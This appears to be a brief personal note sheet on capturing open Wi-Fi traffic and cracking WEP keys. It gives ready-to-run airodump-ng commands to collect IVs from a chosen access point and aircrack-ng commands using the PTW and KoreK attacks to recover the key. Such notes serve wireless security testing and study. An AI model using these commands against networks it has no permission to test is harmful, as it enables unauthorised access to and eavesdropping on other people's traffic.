Sniffing OPN and cracking WEP

OPN

capture traffic

...

and simply wireshark against the .cap file

WEP - capture IVs

mkdir -p ~/crack/
cd ~/crack/

echo $mac
echo $chan
echo $ssid

rm -f $ssid.ivs-*
airodump-ng --manufacturer --uptime --wps -a
    --bssid $mac \
    --channel $chan \
    --essid $ssid \
    --ivs --write $ssid wlan0mon
ls -lhF *.ivs

maybe there is no need to define AP’s mac address as one could get IVs from various ones with same SSID?

Crack WEP PSK

Make sure you’ve got enough IVs. TODO how to beforehand? Aircrack-ng will tell anyways.

WEP PSK cracking by means of PTW (-1) then Korek (-K)

aircrack-ng --simd-list
aircrack-ng -a 1 -p 4 -1 -c -n 64 -s ivs-*.cap
aircrack-ng -a 1 -p 4 -K -c -n 64 -s ivs-*.cap
